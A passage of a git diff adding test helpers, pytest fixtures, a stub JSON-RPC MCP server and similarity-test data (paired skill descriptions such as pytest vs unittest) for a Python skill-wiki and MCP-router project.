+    fraction: float = DEFAULT_SESSION_FRACTION,
+    min_minutes: float = DEFAULT_MIN_RETENTION_MIN,
+) -> bool:
+    """True iff the skill survived the retention window."""
+    t0 = _parse_iso_utc(load_ts)
+    t1 = _parse_iso_utc(unload_ts)
+    delta = (t1 - t0).total_seconds()
+    if delta < 0:
+        raise ValueError("unload_ts must be >= load_ts")
+    window = retention_window_seconds(
+        session_seconds, fraction=fraction, min_minutes=min_minutes
+    )
+    return delta >= window
diff --git a/src/tests/__init__.py b/src/tests/__init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/src/tests/_wiki_helpers.py b/src/tests/_wiki_helpers.py
new file mode 100644
index 0000000000000000000000000000000000000000..3e9697c94bc023a44070bc4ce170f71ae8406b32
--- /dev/null
+++ b/src/tests/_wiki_helpers.py
@@ -0,0 +1,117 @@
+"""
+_wiki_helpers.py -- Shared helpers for wiki_query, wiki_lint, and wiki_orchestrator tests.
+
+Exports:
+  - Schema / date constants (_SCHEMA_TAGS, _MINIMAL_SCHEMA, _TODAY, _FRESH_DATE, _STALE_DATE)
+  - make_wiki(tmp_path): build the minimal wiki skeleton used by every test
+  - make_entity_page(...): write a properly-formatted entity page to the wiki
+
+Kept out of conftest.py because these are builders, not pytest fixtures.
+Leading-underscore module name signals "internal to the tests package".
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+from typing import Any
+
+_SCHEMA_TAGS = (
+    "python", "fastapi", "docker", "testing", "architecture",
+    "patterns", "cli", "database", "async", "security",
+)
+
+_MINIMAL_SCHEMA = """\
+# Skill Wiki Schema
+
+## Domain
+Skills are reusable knowledge units.
+
+## Conventions
+Follow the naming convention: kebab-case slugs.
+
+## Tag Taxonomy
+- python: python, fastapi, testing, async
+- infra: docker, kubernetes, ci-cd
+- design: architecture, patterns, cli, database, security
+
+## Page Thresholds
+MAX_PAGE_LINES: 200
+
+## Update Policy
+Pages older than 90 days are considered stale.
+"""
+
+_TODAY = "2026-04-09"
+_FRESH_DATE = "2026-03-01"   # ~39 days before TODAY -- not stale
+_STALE_DATE = "2024-01-01"   # >90 days before TODAY -- stale
+
+
+def make_wiki(tmp_path: Path) -> Path:
+    """Create the minimal wiki skeleton (SCHEMA.md, index.md, log.md, entities/skills/)."""
+    wiki = tmp_path / "skill-wiki"
+    (wiki / "entities" / "skills").mkdir(parents=True)
+    (wiki / "SCHEMA.md").write_text(_MINIMAL_SCHEMA, encoding="utf-8")
+    (wiki / "index.md").write_text("# Index\n\n## Skills\n", encoding="utf-8")
+    (wiki / "log.md").write_text("# Log\n", encoding="utf-8")
+    return wiki
+
+
+def make_entity_page(
+    wiki_dir: Path,
+    name: str,
+    tags: list[str],
+    *,
+    body: str = "",
+    updated: str = _FRESH_DATE,
+    created: str = "2025-01-01",
+    status: str = "installed",
+    has_pipeline: bool = False,
+    wikilinks: list[str] | None = None,
+    extra_fm: dict[str, Any] | None = None,
+) -> Path:
+    """Write a properly-formatted entity page to wiki_dir/entities/skills/.md.
+
+    Args:
+        wiki_dir: Root of the temporary wiki.
+        name: Slug (no extension) for the page file.
+        tags: Tag list to include in frontmatter.
+        body: Markdown body text appended after the frontmatter block.
+        updated: ISO date string for the ``updated`` frontmatter key.
+        created: ISO date string for the ``created`` frontmatter key.
+        status: ``status`` frontmatter value.
+        has_pipeline: Whether to write ``has_pipeline: true``.
+        wikilinks: Additional ``[[wikilink]]`` tokens injected into the body.
+        extra_fm: Extra key/value pairs merged into frontmatter.
+
+    Returns:
+        Path to the written file.
+    """
+    tags_str = "[" + ", ".join(tags) + "]"
+    fm_lines = [
+        "---",
+        f"title: {name}",
+        f"created: {created}",
+        f"updated: {updated}",
+        "type: skill",
+        f"tags: {tags_str}",
+        f"status: {status}",
+    ]
+    if has_pipeline:
+        # wiki_query reads `has_transformed` to populate SkillPage.has_transformed;
+        # wiki_orchestrator reads `has_pipeline` for its frontmatter checks.
+        # Write both so both modules see the flag correctly.
+        fm_lines.append("has_pipeline: true")
+        fm_lines.append("has_transformed: true")
+    if extra_fm:
+        for k, v in extra_fm.items():
+            fm_lines.append(f"{k}: {v}")
+    fm_lines.append("---")
+
+    link_block = ""
+    if wikilinks:
+        link_block = "\n" + "\n".join(f"[[{lnk}]]" for lnk in wikilinks) + "\n"
+
+    content = "\n".join(fm_lines) + "\n\n" + body + link_block
+    dest = wiki_dir / "entities" / "skills" / f"{name}.md"
+    dest.write_text(content, encoding="utf-8")
+    return dest
diff --git a/src/tests/conftest.py b/src/tests/conftest.py
new file mode 100644
index 0000000000000000000000000000000000000000..6bea8476b01cd0e8d9475545fff83019ca8be64c
--- /dev/null
+++ b/src/tests/conftest.py
@@ -0,0 +1,200 @@
+"""
+conftest.py -- Shared pytest fixtures for the ctx test suite.
+"""
+
+import sys
+import textwrap
+from pathlib import Path
+
+import pytest
+
+# ---------------------------------------------------------------------------
+# Ensure the project root is on sys.path so imports work from any working dir
+# ---------------------------------------------------------------------------
+_PROJECT_ROOT = Path(__file__).resolve().parent.parent
+if str(_PROJECT_ROOT) not in sys.path:
+    sys.path.insert(0, str(_PROJECT_ROOT))
+
+from ctx.core.wiki.wiki_sync import ensure_wiki  # noqa: E402  (import after path manipulation)
+
+
+# ---------------------------------------------------------------------------
+# Markers
+# ---------------------------------------------------------------------------
+
+
+def pytest_addoption(parser: pytest.Parser) -> None:
+    """Register opt-in integration gates."""
+    parser.addoption(
+        "--run-live-mcp",
+        action="store_true",
+        default=False,
+        help="run trusted live MCP compatibility tests",
+    )
+    parser.addoption(
+        "--live-mcp-config",
+        action="append",
+        default=[],
+        metavar="PATH",
+        help="trusted live MCP server config JSON; may be passed more than once",
+    )
+
+
+def pytest_configure(config: pytest.Config) -> None:
+    """Register custom markers so pytest doesn't warn on unknown-mark usage.
+
+    ``integration`` is used by tests that load real models (e.g. MiniLM for
+    the similarity precision/recall harness). Skip them in fast CI with
+    ``-m 'not integration'``.
+    """
+    config.addinivalue_line(
+        "markers",
+        "integration: tests that load real embedders or external services "
+        "(skip with -m 'not integration')",
+    )
+
+
+# ---------------------------------------------------------------------------
+# Fixtures
+# ---------------------------------------------------------------------------
+
+
+@pytest.fixture()
+def project_root() -> Path:
+    """Return the ctx project root directory as a Path."""
+    return _PROJECT_ROOT
+
+
+@pytest.fixture()
+def tmp_wiki(tmp_path: Path) -> Path:
+    """
+    Create a temporary wiki directory using wiki_sync.ensure_wiki.
+
+    The returned Path is the wiki root (tmp_path / "skill-wiki").
+    All required subdirectories and seed files are created by ensure_wiki.
+    """
+    wiki_dir = tmp_path / "skill-wiki"
+    ensure_wiki(str(wiki_dir))
+    return wiki_dir
+
+
+@pytest.fixture()
+def tmp_skills_dir(tmp_path: Path) -> Path:
+    """
+    Create a temporary skills directory with three fake SKILL.md files:
+
+    - short-skill/SKILL.md  (~50 lines)
+    - medium-skill/SKILL.md (~100 lines)
+    - long-skill/SKILL.md   (~250 lines)
+    """
+    skills_dir = tmp_path / "skills"
+
+    # ── Short skill (~50 lines) ───────────────────────────────────────────
+    short_dir = skills_dir / "short-skill"
+    short_dir.mkdir(parents=True)
+    short_lines = textwrap.dedent("""\
+        ---
+        title: short-skill
+        tags: [python, testing]
+        ---
+
+        # Short Skill
+
+        ## Overview
+        A short demonstration skill used for testing.
+
+        ## Usage
+        Import and call the helper function.
+
+        ## Examples
+        ```python
+        from short_skill import helper
+        helper()
+        ```
+    """)
+    # Pad to ~50 lines
+    short_lines += "\n".join(f"# line {i}" for i in range(1, 35)) + "\n"
+    (short_dir / "SKILL.md").write_text(short_lines, encoding="utf-8")
+
+    # ── Medium skill (~100 lines) ─────────────────────────────────────────
+    medium_dir = skills_dir / "medium-skill"
+    medium_dir.mkdir(parents=True)
+    medium_lines = textwrap.dedent("""\
+        ---
+        title: medium-skill
+        tags: [python, fastapi]
+        ---
+
+        # Medium Skill
+
+        ## Overview
+        A medium-length demonstration skill used for testing.
+
+        ## Background
+        Provides patterns for FastAPI service construction.
+
+        ## Usage
+        Configure the app factory and mount routers.
+
+        ## Configuration
+        Set environment variables before startup.
+
+        ## Examples
+        ```python
+        from medium_skill import create_app
+        app = create_app()
+        ```
+
+        ## Notes
+        Remember to add lifespan handlers.
+    """)
+    # Pad to ~100 lines
+    medium_lines += "\n".join(f"# line {i}" for i in range(1, 73)) + "\n"
+    (medium_dir / "SKILL.md").write_text(medium_lines, encoding="utf-8")
+
+    # ── Long skill (~250 lines) ───────────────────────────────────────────
+    long_dir = skills_dir / "long-skill"
+    long_dir.mkdir(parents=True)
+    long_lines = textwrap.dedent("""\
+        ---
+        title: long-skill
+        tags: [python, architecture, patterns]
+        ---
+
+        # Long Skill
+
+        ## Overview
+        A long demonstration skill used for testing the line_threshold logic.
+
+        ## Stage 1: Discovery
+        Locate relevant files in the repository.
+
+        ## Stage 2: Analysis
+        Parse and classify each file by type.
+
+        ## Stage 3: Extraction
+        Pull out the key patterns and idioms.
+
+        ## Stage 4: Synthesis
+        Combine findings into a coherent summary.
+
+        ## Stage 5: Output
+        Write the final report to disk.
+
+        ## Configuration Reference
+        All options are documented below.
+
+        ## Advanced Usage
+        Chain multiple stages for batch processing.
+
+        ## Troubleshooting
+        Common issues and their resolutions.
+
+        ## See Also
+        Related skills and external references.
+    """)
+    # Pad to ~250 lines
+    long_lines += "\n".join(f"# line {i}" for i in range(1, 210)) + "\n"
+    (long_dir / "SKILL.md").write_text(long_lines, encoding="utf-8")
+
+    return skills_dir
diff --git a/src/tests/fixtures/awesome_mcp_excerpt.md b/src/tests/fixtures/awesome_mcp_excerpt.md
new file mode 100644
index 0000000000000000000000000000000000000000..e4cadb54413627533e0f2af0d2f87cdb68e081a9
--- /dev/null
+++ b/src/tests/fixtures/awesome_mcp_excerpt.md
@@ -0,0 +1,31 @@
+# Awesome MCP Servers
+
+A curated list of MCP servers.
+
+## Contents
+
+- [Version Control](#version-control)
+- [Databases](#databases)
+- [Productivity](#productivity)
+
+---
+
+## Server Implementations
+
+### 🐙 Version Control
+
+- [github-mcp](https://github.com/modelcontextprotocol/github-mcp) - GitHub repository management, file operations, and API integration via MCP.
+- [gitlab-mcp](https://github.com/acmecorp/gitlab-mcp) - GitLab repository and CI/CD pipeline access through the Model Context Protocol.
+
+### 🗄️ Databases
+
+- [postgres-mcp](https://github.com/example/postgres-mcp) - PostgreSQL query execution and schema introspection for AI assistants.
+- [sqlite-mcp](https://github.com/example/sqlite-mcp) - Lightweight SQLite database access and management via the MCP protocol.
+
+### ✅ Productivity
+
+- [notion-mcp](https://www.notion.so/integrations/notion-mcp) - Notion workspace read and write access for AI-driven productivity workflows.
+
+This line has no link and should be skipped gracefully by the parser.
+
+- [another-tool](https://github.com/example/another-tool) - This entry appears after the malformed line and must still be parsed correctly.
diff --git a/src/tests/fixtures/fake_mcp_server.py b/src/tests/fixtures/fake_mcp_server.py
new file mode 100644
index 0000000000000000000000000000000000000000..54707eeaf72acf57d8670bf834275a34fef83b2b
--- /dev/null
+++ b/src/tests/fixtures/fake_mcp_server.py
@@ -0,0 +1,219 @@
+"""fake_mcp_server.py — minimal MCP server stub used by test_mcp_router.
+
+Runs as a standalone subprocess launched by the tests. Reads JSON-RPC
+lines on stdin, writes responses on stdout. Designed to be small and
+scriptable: its behaviour is configurable via env vars so a single
+script covers initialize + tools/list + tools/call + failure modes.
+
+Env vars (all optional):
+  FAKE_MCP_FAIL_INIT=1          - respond with an error to initialize
+  FAKE_MCP_CRASH_ON_TOOL=1      - crash (exit 1) on any tools/call
+  FAKE_MCP_TOOL_ERROR=1         - return isError=True on any tools/call
+  FAKE_MCP_IGNORE_TOOL=1        - accept tools/call but never answer
+  FAKE_MCP_NOISY_STDERR=1       - write a warning line to stderr on startup
+  FAKE_MCP_EMIT_NOTIFICATION=1  - emit a progress notification before each
+                                  tools/call response
+  FAKE_MCP_EXTRA_TOOL=    - add a second tool with this name (for
+                                  testing multi-tool list_tools)
+
+Tool catalog:
+  echo(text: str) -> str
+      returns the input text verbatim. Used to confirm args round-trip.
+  add(a: int, b: int) -> str
+      returns str(a+b). Integer-args coverage.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+
+
+_PROTOCOL_VERSION = "2024-11-05"
+
+
+def _echo_tool(args: dict) -> dict:
+    text = str(args.get("text", ""))
+    return {
+        "content": [{"type": "text", "text": text}],
+        "isError": False,
+    }
+
+
+def _add_tool(args: dict) -> dict:
+    a = int(args.get("a", 0))
+    b = int(args.get("b", 0))
+    return {
+        "content": [{"type": "text", "text": str(a + b)}],
+        "isError": False,
+    }
+
+
+def _env_tool(args: dict) -> dict:
+    name = str(args.get("name", ""))
+    return {
+        "content": [{"type": "text", "text": os.environ.get(name, "")}],
+        "isError": False,
+    }
+
+
+TOOLS = {"echo": _echo_tool, "add": _add_tool, "echo_env": _env_tool}
+
+
+def _tool_defs() -> list[dict]:
+    defs = [
+        {
+            "name": "echo",
+            "description": "Echo the input text verbatim.",
+            "inputSchema": {
+                "type": "object",
+                "properties": {"text": {"type": "string"}},
+                "required": ["text"],
+            },
+        },
+        {
+            "name": "add",
+            "description": "Return the sum of two integers.",
+            "inputSchema": {
+                "type": "object",
+                "properties": {
+                    "a": {"type": "integer"},
+                    "b": {"type": "integer"},
+                },
+                "required": ["a", "b"],
+            },
+        },
+        {
+            "name": "echo_env",
+            "description": "Return the value of an environment variable.",
+            "inputSchema": {
+                "type": "object",
+                "properties": {"name": {"type": "string"}},
+                "required": ["name"],
+            },
+        },
+    ]
+    extra = os.environ.get("FAKE_MCP_EXTRA_TOOL")
+    if extra:
+        defs.append(
+            {
+                "name": extra,
+                "description": f"Extra tool {extra} (test-only).",
+                "inputSchema": {"type": "object", "properties": {}},
+            }
+        )
+    return defs
+
+
+def _emit(frame: dict) -> None:
+    sys.stdout.write(json.dumps(frame) + "\n")
+    sys.stdout.flush()
+
+
+def main() -> None:
+    if os.environ.get("FAKE_MCP_NOISY_STDERR") == "1":
+        sys.stderr.write("fake-mcp-server: starting up\n")
+        sys.stderr.flush()
+
+    while True:
+        line = sys.stdin.readline()
+        if not line:
+            return
+        line = line.strip()
+        if not line:
+            continue
+        try:
+            req = json.loads(line)
+        except json.JSONDecodeError:
+            continue
+
+        method = req.get("method", "")
+        req_id = req.get("id")
+        params = req.get("params") or {}
+
+        if method == "initialize":
+            if os.environ.get("FAKE_MCP_FAIL_INIT") == "1":
+                _emit({
+                    "jsonrpc": "2.0",
+                    "id": req_id,
+                    "error": {"code": -32603, "message": "init-forbidden"},
+                })
+                continue
+            _emit({
+                "jsonrpc": "2.0",
+                "id": req_id,
+                "result": {
+                    "protocolVersion": _PROTOCOL_VERSION,
+                    "capabilities": {"tools": {}},
+                    "serverInfo": {"name": "fake-mcp", "version": "0.1"},
+                },
+            })
+            continue
+
+        if method == "notifications/initialized":
+            continue
+
+        if method == "tools/list":
+            _emit({
+                "jsonrpc": "2.0",
+                "id": req_id,
+                "result": {"tools": _tool_defs()},
+            })
+            continue
+
+        if method == "tools/call":
+            if os.environ.get("FAKE_MCP_CRASH_ON_TOOL") == "1":
+                sys.exit(1)
+            if os.environ.get("FAKE_MCP_IGNORE_TOOL") == "1":
+                continue
+
+            name = params.get("name", "")
+            args = params.get("arguments") or {}
+
+            if os.environ.get("FAKE_MCP_EMIT_NOTIFICATION") == "1":
+                _emit({
+                    "jsonrpc": "2.0",
+                    "method": "notifications/progress",
+                    "params": {"progress": 0.5},
+                })
+
+            if os.environ.get("FAKE_MCP_TOOL_ERROR") == "1":
+                _emit({
+                    "jsonrpc": "2.0",
+                    "id": req_id,
+                    "result": {
+                        "content": [{"type": "text", "text": "forced error"}],
+                        "isError": True,
+                    },
+                })
+                continue
+
+            handler = TOOLS.get(name)
+            if handler is None:
+                _emit({
+                    "jsonrpc": "2.0",
+                    "id": req_id,
+                    "error": {
+                        "code": -32601,
+                        "message": f"unknown tool {name!r}",
+                    },
+                })
+                continue
+            _emit({
+                "jsonrpc": "2.0",
+                "id": req_id,
+                "result": handler(args),
+            })
+            continue
+
+        # Unknown method.
+        _emit({
+            "jsonrpc": "2.0",
+            "id": req_id,
+            "error": {"code": -32601, "message": f"method not found: {method}"},
+        })
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/tests/fixtures/mcp_github.json b/src/tests/fixtures/mcp_github.json
new file mode 100644
index 0000000000000000000000000000000000000000..af7a7df21aa363aab0e16bd6ad10eeb3f8167318
--- /dev/null
+++ b/src/tests/fixtures/mcp_github.json
@@ -0,0 +1,12 @@
+{
+  "name": "github",
+  "description": "Repository management, file operations, and GitHub API integration",
+  "sources": ["awesome-mcp"],
+  "github_url": "https://github.com/modelcontextprotocol/servers",
+  "tags": ["github", "git"],
+  "transports": ["stdio"],
+  "language": "typescript",
+  "license": "MIT",
+  "author": "modelcontextprotocol",
+  "author_type": "org"
+}
diff --git a/src/tests/fixtures/mcp_pulsemcp.json b/src/tests/fixtures/mcp_pulsemcp.json
new file mode 100644
index 0000000000000000000000000000000000000000..9b44e138f09c9beadf342de1d7843d151c47e160
--- /dev/null
+++ b/src/tests/fixtures/mcp_pulsemcp.json
@@ -0,0 +1,15 @@
+{
+  "name": "filesystem",
+  "description": "Secure file operations with configurable access controls for reading, writing, and managing local files",
+  "sources": ["pulsemcp"],
+  "github_url": "https://github.com/modelcontextprotocol/servers",
+  "homepage_url": "https://pulsemcp.com/servers/filesystem",
+  "tags": ["filesystem", "files", "storage"],
+  "transports": ["stdio", "http"],
+  "language": "typescript",
+  "license": "MIT",
+  "author": "modelcontextprotocol",
+  "author_type": "org",
+  "stars": 12500,
+  "last_commit_at": "2025-03-15"
+}
diff --git a/src/tests/fixtures/pulsemcp_listing_excerpt.html b/src/tests/fixtures/pulsemcp_listing_excerpt.html
new file mode 100644
index 0000000000000000000000000000000000000000..2f885df0983ac65bbc152c7da8d3fcddc3450ea5
--- /dev/null
+++ b/src/tests/fixtures/pulsemcp_listing_excerpt.html
@@ -0,0 +1,170 @@
+
    
+
+      
    
+
+  
    
+    
+    
    
+      
    
+        
    
+          Playwright Browser Automation
+        
    
+      
    
+
+        
    Microsoft
    
+
+        
    
+          Enables web browser control for navigating websites, capturing page snapshots, interacting with elements, and taking...
+        
    
+    
    
+
+    
+      
    
+        
    
+          
+          
    
+            
    Classification
    
+            
    
+              
    
+                Official repository icon
+              
    
+              
    official
    
+            
    
+          
    
+
+          
+          
    
+            
    
+              Est Visitors (Week)
+            
    
+            
    
+              2.5m
+            
    
+          
    
+
+          
+          
    
+            
    Release Date
    
+            
    
+                Mar 22, 2025
+            
    
+          
    
+        
    
+      
    
+  
    
+
    
+
+    
+
+      
    
+
+  
    
+    
+    
    
+      
    
+        
    
+          DuckDB
+        
    
+      
    
+
+        
    ktanaka101
    
+
+        
    
+          Execute SQL queries and analyze data in DuckDB databases.
+        
    
+    
    
+
+    
+      
    
+        
    
+          
+          
    
+            
    Classification
    
+            
    
+              
    
+                Community icon
+              
    
+              
    community
    
+            
    
+          
    
+
+          
+          
    
+            
    
+              Est Visitors (Week)
+            
    
+            
    
+              1.7m
+            
    
+          
    
+
+          
+          
    
+            
    Release Date
    
+            
    
+                Nov 30, 2024
+            
    
+          
    
+        
    
+      
    
+  
    
+
    
+
+    
+
+      
    
+
+  
    
+    
+    
    
+      
    
+        
    
+          Excel File Manipulation
+        
    
+      
    
+
+        
    Haris Musa
    
+
+        
    
+          Enables Excel file manipulation without Microsoft Excel installation using openpyxl, providing workbook operations,...
+        
    
+    
    
+
+    
+      
    
+        
    
+          
+          
    
+            
    Classification
    
+            
    
+              
    
+                Community icon
+              
    
+              
    community
    
+            
    
+          
    
+
+          
+          
    
+            
    
+              Est Visitors (Week)
+            
    
+            
    
+              1.6m
+            
    
+          
    
+
+          
+          
    
+            
    Release Date
    
+            
    
+                Feb 12, 2025
+            
    
+          
    
+        
    
+      
    
+  
    
+
    
+
+    
+
    
diff --git a/src/tests/fixtures/similarity/README.md b/src/tests/fixtures/similarity/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..57bbf6de22c8d152d6ec252046c043224e46641c
--- /dev/null
+++ b/src/tests/fixtures/similarity/README.md
@@ -0,0 +1,40 @@
+# Similarity fixtures
+
+Hand-written test corpus for the intake gate's similarity precision/recall harness
+(`test_similarity_precision_recall.py`). Each JSONL line is one pair.
+
+## Schema
+
+```json
+{
+  "id": "nd-01",
+  "label": "near_duplicate | distinct | adversarial",
+  "a": {"name": "...", "description": "...", "body": "## Section\n..."},
+  "b": {"name": "...", "description": "...", "body": "## Section\n..."},
+  "note": "why this pair belongs to its label"
+}
+```
+
+The test assembles full markdown via a shared helper so fixture files stay
+focused on semantic content, not frontmatter boilerplate.
+
+## Labels
+
+- **near_duplicate** (30 pairs): same skill rewritten — paraphrased
+  description, reordered sections, synonyms. Gate MUST flag
+  `DUPLICATE` or `NEAR_DUPLICATE`.
+- **distinct** (30 pairs): orthogonal domains. Gate MUST NOT flag.
+- **adversarial** (10 pairs): same domain, genuinely different purpose
+  (e.g. `python-pytest` vs `python-unittest`). Gate MUST NOT flag —
+  these are the precision traps.
+
+## Success criteria
+
+Precision and recall both ≥ 0.90 across all three label sets. See test
+docstring for the exact formulas.
+
+## Editing
+
+Pairs are independent — add, remove, or revise without side effects. Keep
+bodies short (roughly 200-500 chars) so the suite runs in seconds but long
+enough that MiniLM has enough signal to embed meaningfully.
diff --git a/src/tests/fixtures/similarity/adversarial.jsonl b/src/tests/fixtures/similarity/adversarial.jsonl
new file mode 100644
index 0000000000000000000000000000000000000000..f54279da0f1ee59c3a759f4af46bef343fa3ff44
--- /dev/null
+++ b/src/tests/fixtures/similarity/adversarial.jsonl
@@ -0,0 +1,10 @@
+{"id": "ad-01", "label": "adversarial", "a": {"name": "python-pytest", "description": "Run Python unit tests with the pytest framework, fixtures, and parametrize", "body": "## Overview\n\npytest discovers test_*.py files and runs functions starting with test_. Assertion introspection shows the failing expression and both operand values automatically.\n\n## Parametrization\n\n@pytest.mark.parametrize('input,expected', [...]) runs one test function across many input rows, producing a separate test case per row in the output.\n"}, "b": {"name": "python-unittest", "description": "Write Python tests using the stdlib unittest module with TestCase classes and setUp", "body": "## Overview\n\nunittest organizes tests as methods on a TestCase subclass. setUp and tearDown run before and after each test method; assertions come from self.assertEqual and siblings.\n\n## Discovery\n\npython -m unittest discovers test_*.py files automatically. Group related tests in TestSuite objects to control execution order or share costly setup across classes.\n"}, "note": "Both are Python testing. Same language, heavy vocabulary overlap ('test', 'assert', 'fixture'/'setUp'), but distinct frameworks with different APIs and conventions."}
+{"id": "ad-02", "label": "adversarial", "a": {"name": "react-hooks-state", "description": "Manage local component state with React's useState and useReducer hooks", "body": "## Overview\n\nuseState returns a value and a setter; calling the setter schedules a re-render with the new value. useReducer fits when state transitions are complex enough to deserve a reducer function.\n\n## Updates\n\nPass a function to the setter to derive the next state from the previous: setCount(c => c + 1). This avoids stale-closure bugs in async callbacks.\n"}, "b": {"name": "react-context-global", "description": "Share cross-component values via React Context for theme, locale, and current user", "body": "## Overview\n\nReact.createContext returns a Provider/Consumer pair. Wrap a subtree in the Provider, then any descendant can read the value with useContext without prop drilling.\n\n## When to use\n\nContext fits slowly changing global values — theme, auth, locale. Avoid it for high-frequency state changes which would re-render the whole consumer subtree.\n"}, "note": "Both React state-management mechanisms. Same framework vocabulary but local component state vs cross-tree propagation — distinct tools for distinct problems."}
+{"id": "ad-03", "label": "adversarial", "a": {"name": "docker-compose-local", "description": "Orchestrate multi-container local dev stacks with docker-compose.yml and service dependencies", "body": "## Overview\n\nCompose declares services, networks, and volumes in YAML. docker compose up starts the whole stack; depends_on sequences startup. Suited for a single host — usually a developer laptop or a small CI worker.\n\n## Scope\n\nNo clustering, no scheduling across nodes, no rolling updates. When you outgrow one host, move to a real orchestrator.\n"}, "b": {"name": "docker-swarm-cluster", "description": "Schedule containers across a multi-node Docker Swarm cluster with service specs and replicas", "body": "## Overview\n\nDocker Swarm turns a group of Docker hosts into one orchestrator. docker service create deploys replicated or global services scheduled across nodes; rolling updates, health checks, and secrets are first-class features.\n\n## Scope\n\nMulti-host clustering, leader election via Raft, overlay networks, and scheduling constraints. Different audience than Compose — production ops rather than local dev.\n"}, "note": "Both Docker orchestration. Heavy shared vocab ('service', 'container', 'network') but single-host local dev vs multi-node production cluster — different tools for different scales."}
+{"id": "ad-04", "label": "adversarial", "a": {"name": "aws-lambda-serverless", "description": "Run short-lived stateless functions on AWS Lambda billed per invocation", "body": "## Overview\n\nLambda runs user code in response to events — HTTP via API Gateway, messages from SQS/Kinesis, scheduled timers. Each invocation gets a fresh environment or reuses a warm one; execution is capped at 15 minutes.\n\n## Model\n\nNo servers to manage, no idle cost, sub-second billing. Suits bursty or irregular workloads where provisioning constant capacity would waste money.\n"}, "b": {"name": "aws-fargate-containers", "description": "Run long-lived containers on AWS Fargate with ECS or EKS without managing EC2 instances", "body": "## Overview\n\nFargate runs containers without an underlying EC2 fleet. An ECS task or EKS pod specifies CPU, memory, and the image; Fargate places and runs it. Billing is per-second based on the requested resources.\n\n## Model\n\nFull control over container image and long-running processes. Suits steady-state services — web apps, workers, daemons — that don't fit Lambda's short-run stateless contract.\n"}, "note": "Both AWS compute-without-servers. Shared vocab ('serverless', 'scaling', 'event-driven') but short-lived event-driven functions vs long-lived containerized services."}
+{"id": "ad-05", "label": "adversarial", "a": {"name": "postgres-btree-index", "description": "Create PostgreSQL btree indexes for ordered, equality, and range query predicates", "body": "## Overview\n\nThe btree is Postgres's default index structure. It handles =, <, <=, >, >=, BETWEEN, and IN, and returns rows in index order without a separate sort.\n\n## When to use\n\nAny column you filter or order on with scalar comparisons. Multi-column btree indexes support leftmost-prefix queries: an index on (a, b) accelerates queries on a or on (a, b) but not on b alone.\n"}, "b": {"name": "postgres-gin-index", "description": "Use PostgreSQL GIN indexes for jsonb containment, array membership, and full-text search", "body": "## Overview\n\nGIN (Generalized Inverted Index) handles composite values where each row contributes many index entries — arrays, jsonb, tsvector. Queries using @>, ? on jsonb, or @@ on tsvector use GIN.\n\n## Cost\n\nGIN indexes are larger and slower to update than btrees but return results for set-membership queries that btree cannot answer at all.\n"}, "note": "Both Postgres index types. Same product, same SQL DDL flavor, but different internal structures for different query shapes — not duplicates."}
+{"id": "ad-06", "label": "adversarial", "a": {"name": "jwt-access-token", "description": "Use short-lived JWT access tokens to authorize API calls on behalf of a user", "body": "## Overview\n\nAn access token is a JWT carrying the user's identity and scopes. Clients attach it to every API request via the Authorization header; servers validate the signature and use the claims to authorize each call.\n\n## Lifetime\n\nAccess tokens are intentionally short-lived — minutes, not hours — so a leaked token is valid only briefly. A separate refresh step re-issues access tokens.\n"}, "b": {"name": "jwt-refresh-token", "description": "Use long-lived refresh tokens to obtain new access tokens without re-authenticating the user", "body": "## Overview\n\nA refresh token is a credential the client exchanges for a new access token when the old one expires. Unlike access tokens, refresh tokens are never sent to resource servers — only to the auth server's token endpoint.\n\n## Storage\n\nRefresh tokens are long-lived, so they need secure storage — HTTP-only cookies for browsers, secure keystores for mobile. Rotation on every refresh plus reuse-detection is the standard hardening.\n"}, "note": "Both JWTs in OAuth flow. Same format, same vocabulary ('token', 'claims', 'signature'), but different roles — short-lived authorization vs long-lived refresh credential."}
+{"id": "ad-07", "label": "adversarial", "a": {"name": "rest-pagination-offset", "description": "Paginate REST API responses with offset and limit query parameters", "body": "## Overview\n\nOffset-based pagination takes ?offset=200&limit=50 — the server skips 200 rows and returns the next 50. Simple to implement, trivial to jump to an arbitrary page number.\n\n## Downside\n\nDeep pagination is slow — the database must still produce-and-discard every offset row. Consistency also breaks when rows are inserted or deleted between page fetches.\n"}, "b": {"name": "rest-pagination-cursor", "description": "Paginate REST APIs with opaque cursor tokens pointing at the last seen record", "body": "## Overview\n\nCursor pagination returns an opaque token representing the last seen record. The next request sends ?after= and the server resumes from the boundary row.\n\n## Benefits\n\nDeep pagination stays O(limit) regardless of position because the server uses an indexed lookup instead of offset-skip. Insertions and deletions between pages don't cause gaps or duplicates.\n"}, "note": "Both REST pagination. Shared vocabulary ('pagination', 'page', 'limit') but different algorithms — offset-skip vs cursor-based with different performance and consistency profiles."}
+{"id": "ad-08", "label": "adversarial", "a": {"name": "python-black-formatter", "description": "Format Python code with black, the opinionated uncompromising formatter", "body": "## Overview\n\nblack rewrites Python files to one canonical layout with minimal configuration. Its design goal is removing style debates by refusing to expose enough knobs to have them.\n\n## Scope\n\nblack only formats — it doesn't lint. Run it in pre-commit hooks or on save; pair it with a linter for static analysis.\n"}, "b": {"name": "python-ruff-linter", "description": "Lint and check Python source quickly with ruff, a Rust-based linter", "body": "## Overview\n\nruff runs many lint rule sets — pycodestyle, pyflakes, isort, flake8-bugbear — in one Rust-implemented binary, orders of magnitude faster than the Python equivalents.\n\n## Scope\n\nruff lints (and increasingly formats), but its core job is finding bugs, style violations, and import problems — feedback about the code, not mechanical reformatting.\n"}, "note": "Both Python code-quality tools. Vocabulary overlap ('Python', 'formatter', 'config'), but black formats while ruff lints — complementary tools often installed together."}
